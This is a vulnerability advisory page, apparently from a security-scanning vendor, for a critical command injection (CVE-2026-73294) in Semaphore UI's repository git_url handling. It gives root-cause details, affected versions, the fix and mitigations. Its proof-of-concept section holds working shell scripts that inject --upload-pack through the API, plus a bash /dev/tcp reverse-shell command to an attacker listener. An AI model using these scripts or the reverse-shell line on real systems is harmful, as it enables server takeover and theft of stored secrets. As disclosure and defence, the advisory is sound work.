Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

CVE-2026-73294 — semaphore

CRITICALFix: semaphoreui/semaphore@7e8a943

CVE-2026-73294 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in github.com/semaphoreui/semaphore. A fix is available for github.com/semaphoreui/semaphore — see the affected versions and patch details below.

Semaphore U: OS Command Injection

Also known asCVE-2026-73682GHSA-xp7j-h7jc-4w8pGO-2026-6435
Published
Aug 12, 2026
Updated
Sep 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-73294.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-73294 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/semaphoreui/semaphore

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack=<cmd> option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (git_client: cmd_git); no non-default configuration is required.

Details

The repository git_url is attacker-controlled (HTTP body) and reaches exec.Command("git", ...) unvalidated. Two missing controls cause this:

  1. git_url is never validated against option injection. Repository.Validate() (db/Repository.go, ~lines 138–156) validates the branch via ValidateGitBranch (db/git_branch.go, which rejects a leading -), but performs no equivalent check on GitURL (only "non-empty"). ValidateRepository (db/Store.go, ~802–806) only checks the SSH key. CreateRepository (db/sql/repository.go, ~76–95) stores it verbatim. Because --upload-pack=... has no scheme:// and no leading /, GetType() (db/Repository.go, ~113–136) classifies it as RepositorySSH and GetGitURL(false) (~72–111) returns it raw/unchanged.

  2. The git command is built with no -- separator. CmdGitClient.GetLastRemoteCommitHash (db_lib/CmdGitClient.go, ~169–185) calls: c.output(r, GitRepositoryTmpPath, "ls-remote", r.Repository.GetGitURL(false), // attacker-controlled r.Repository.GitBranch) // "master" output (~79–93) → makeCmd (~21–60): exec.Command("git") (line ~27), cmd.Args = append(cmd.Args, args...) (line ~55). The resulting argv has no --: ["git", "ls-remote", "--upload-pack=<cmd>;true", "master"] git parses --upload-pack=... as an option; master becomes the (local-transport) repository operand; git then executes the upload-pack value through a shell (sh -c "<cmd> 'master'"), running <cmd>. This is intended git behavior — the fault is Semaphore passing untrusted data as argv. (The command runs even though git subsequently prints fatal: Could not read from remote repository and exits 128, and even though master is not a real path.)

Trigger — it fires in the server process.

A project schedule with a repository_id causes the scheduler to run git ls-remote to check for new commits. AddSchedule (api/projects/schedules.go, ~130–160; validateSchedulePayload ~86–118 validates only the cron format — it does not require the repo to be tied to the template). The schedule pool is started in the server process: runService in cli/cmd/root.go (CreateSchedulePool ~line 115, go schedulePool.Run() ~line 193), independent of remote-runner config. On each tick, ScheduleRunner.Run (services/schedules/SchedulePool.go, ~96–193, line ~117) calls tryUpdateScheduleCommitHash (~61–94) — before the HA de-dup lock (~145) — which loads the repo by repository_id and calls GetLastRemoteCommitHash(). Refresh (~265–358, line 287) registers such schedules even when inactive, so deactivating does not stop it.

Entry points:

POST /api/project/{id}/repositories (api/projects/repository.go:AddRepository, ~101–137) stores the payload; POST /api/project/{id}/schedules arms it. Both are gated by GetMustCanMiddleware(db.CanManageProjectResources) (api/router.go ~294/310/327), a permission held by ProjectManager/ProjectOwner (db/ProjectUser.go, ~22–27).

PoC

Environment: the official semaphore v2.18.12 binary; git, python3, nc present. This PoC uses the default git client and non_admin_can_create_project: false; the attacker lowpriv is onboarded by the admin as a normal Manager (no special configuration).

Terminal 1 — config + users + server

  cd ~/PoC && mkdir -p tmp
  cat > config.json <<EOF
  { "sqlite":{"host":"$PWD/database.sqlite"},"dialect":"sqlite","tmp_path":"$PWD/tmp",
    "port":":3000","interface":"127.0.0.1",
    "cookie_hash":"$(head -c32 /dev/urandom|base64)","cookie_encryption":"$(head -c32 /dev/urandom|base64)",
    "access_key_encryption":"$(head -c32 /dev/urandom|base64)","git_client":"cmd_git",
    "non_admin_can_create_project":false,"web_host":"http://127.0.0.1:3000/" }
  EOF
  ./semaphore user add --admin --login admin  --name Admin --email [email protected] --password 'Admin123!'  --config config.json
  ./semaphore user add        --login lowpriv --name Low   --email [email protected]   --password 'LowPriv123!' --config config.json
  ./semaphore server --config config.json

Terminal 2 — attacker listener

  nc -lvnp 4444

Terminal 3 — admin onboards lowpriv as Manager, then lowpriv exploits

  cd ~/PoC

  cat > onboard.sh <<'EOF'
  #!/usr/bin/env bash
  set -euo pipefail
  BASE="${BASE:-http://127.0.0.1:3000}"
  ADMIN="${ADMIN:-admin}"; ADMIN_PASS="${ADMIN_PASS:-Admin123!}"; MEMBER="${MEMBER:-lowpriv}"
  JAR=$(mktemp)
  curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
    -d "{\"auth\":\"$ADMIN\",\"password\":\"$ADMIN_PASS\"}" >/dev/null
  PROJ_PID=$(curl -s -b "$JAR" -X POST "$BASE/api/projects" -H 'Content-Type: application/json' \
    -d '{"name":"team-project","alert":false}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
  USER_ID=$(curl -s -b "$JAR" "$BASE/api/users" | \
    python3 -c "import sys,json;print(next(u['id'] for u in json.load(sys.stdin) if u['username']=='$MEMBER'))")
  curl -s -b "$JAR" -X POST "$BASE/api/project/$PROJ_PID/users" -H 'Content-Type: application/json' \
    -d "{\"user_id\":$USER_ID,\"role\":\"manager\"}" -o /dev/null
  rm -f "$JAR"; echo "[*] $MEMBER is Manager of project $PROJ_PID" >&2; echo "$PROJ_PID"
  EOF
  chmod +x onboard.sh

  cat > rce.sh <<'EOF'
  #!/usr/bin/env bash
  set -euo pipefail
  BASE="${BASE:-http://127.0.0.1:3000}"; LOGIN="${LOGIN:-lowpriv}"; PASS="${PASS:-LowPriv123!}"
  PROJ_PID="${PROJ_PID:?set PROJ_PID from onboard.sh}"
  CMD="$*"; B64=$(printf '%s' "$CMD" | base64 -w0)
  GITURL="--upload-pack=bash -c \"echo $B64 | base64 -d | bash\";true"
  JAR=$(mktemp); jid(){ python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])'; }
  post(){ curl -s -b "$JAR" -X POST "$BASE$1" -H 'Content-Type: application/json' -d "$2"; }
  curl -s -c "$JAR" -X POST "$BASE/api/auth/login" -H 'Content-Type: application/json' \
    -d "{\"auth\":\"$LOGIN\",\"password\":\"$PASS\"}" >/dev/null
  KID=$(post /api/project/$PROJ_PID/keys "{\"name\":\"k\",\"type\":\"none\",\"project_id\":$PROJ_PID}" | jid)
  BODY=$(python3 -c "import json,sys;print(json.dumps({'name':'r','project_id':$PROJ_PID,'git_url':sys.argv[1],'git_branch':'master','ssh_key_id':$KID}))" "$GITURL")
  RID=$(post /api/project/$PROJ_PID/repositories "$BODY" | jid)
  TID=$(post /api/project/$PROJ_PID/templates "{\"name\":\"t\",\"project_id\":$PROJ_PID,\"app\":\"bash\",\"playbook\":\"n.sh\",\"repository_id\":$RID,\"type\":\"\"}" | jid)
  post /api/project/$PROJ_PID/schedules "{\"name\":\"s\",\"project_id\":$PROJ_PID,\"template_id\":$TID,\"repository_id\":$RID,\"cron_format\":\"* * * * *\"}" >/dev/null
  rm -f "$JAR"; echo "[*] queued as lowpriv (Manager of $PROJ_PID): $CMD"
  EOF
  chmod +x rce.sh

  PROJ_PID=$(./onboard.sh)
  ATTACKER_IP=127.0.0.1
  PROJ_PID=$PROJ_PID ./rce.sh "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"

Within ~60 s the schedule fires and the Semaphore server process connects back to the listener (Terminal 2), giving an interactive shell as the server user. Verify with id and cat ~/PoC/config.json (the server can read its own access_key_encryption master key).

Impact

  • Type: OS command injection via argument injection — remote code execution.
  • Who is impacted: any Semaphore deployment running the default git_client: cmd_git. The attacker only needs an authenticated account holding the Manager or Owner role on any project — the standard collaborator roles. (If non_admin_can_create_project is enabled, literally any authenticated user qualifies, since they can self-create a project and become its Owner. Global admins always qualify.)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/semaphoreui/semaphoreall versions0.0.0-20260704181911-7e8a9434bd81go get github.com/semaphoreui/semaphore@v0.0.0-20260704181911-7e8a9434bd81

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/semaphoreui/semaphore, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/semaphoreui/semaphore to 0.0.0-20260704181911-7e8a9434bd81 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-73294 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

# Summary An OS command injection in repository git_url handling lets any user holding the Manager or Owner role on any project (the normal project-collaborator roles) achieve remote code execution on the Semaphore server host. Using git's --upload-pack=<cmd> option, an attacker runs arbitrary commands. The command executes inside the main Semaphore server process (via the schedule commit-hash poller), so it runs even when jobs are configured for remote runners — bypassing runner isolation and exposing the master encryption key and every project's secrets. Reproducible on a default install (gi
O3 Security · Impact-Aware SCA

Is CVE-2026-73294 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-73294: semaphore RCE (Critical 9.9) | O3 Security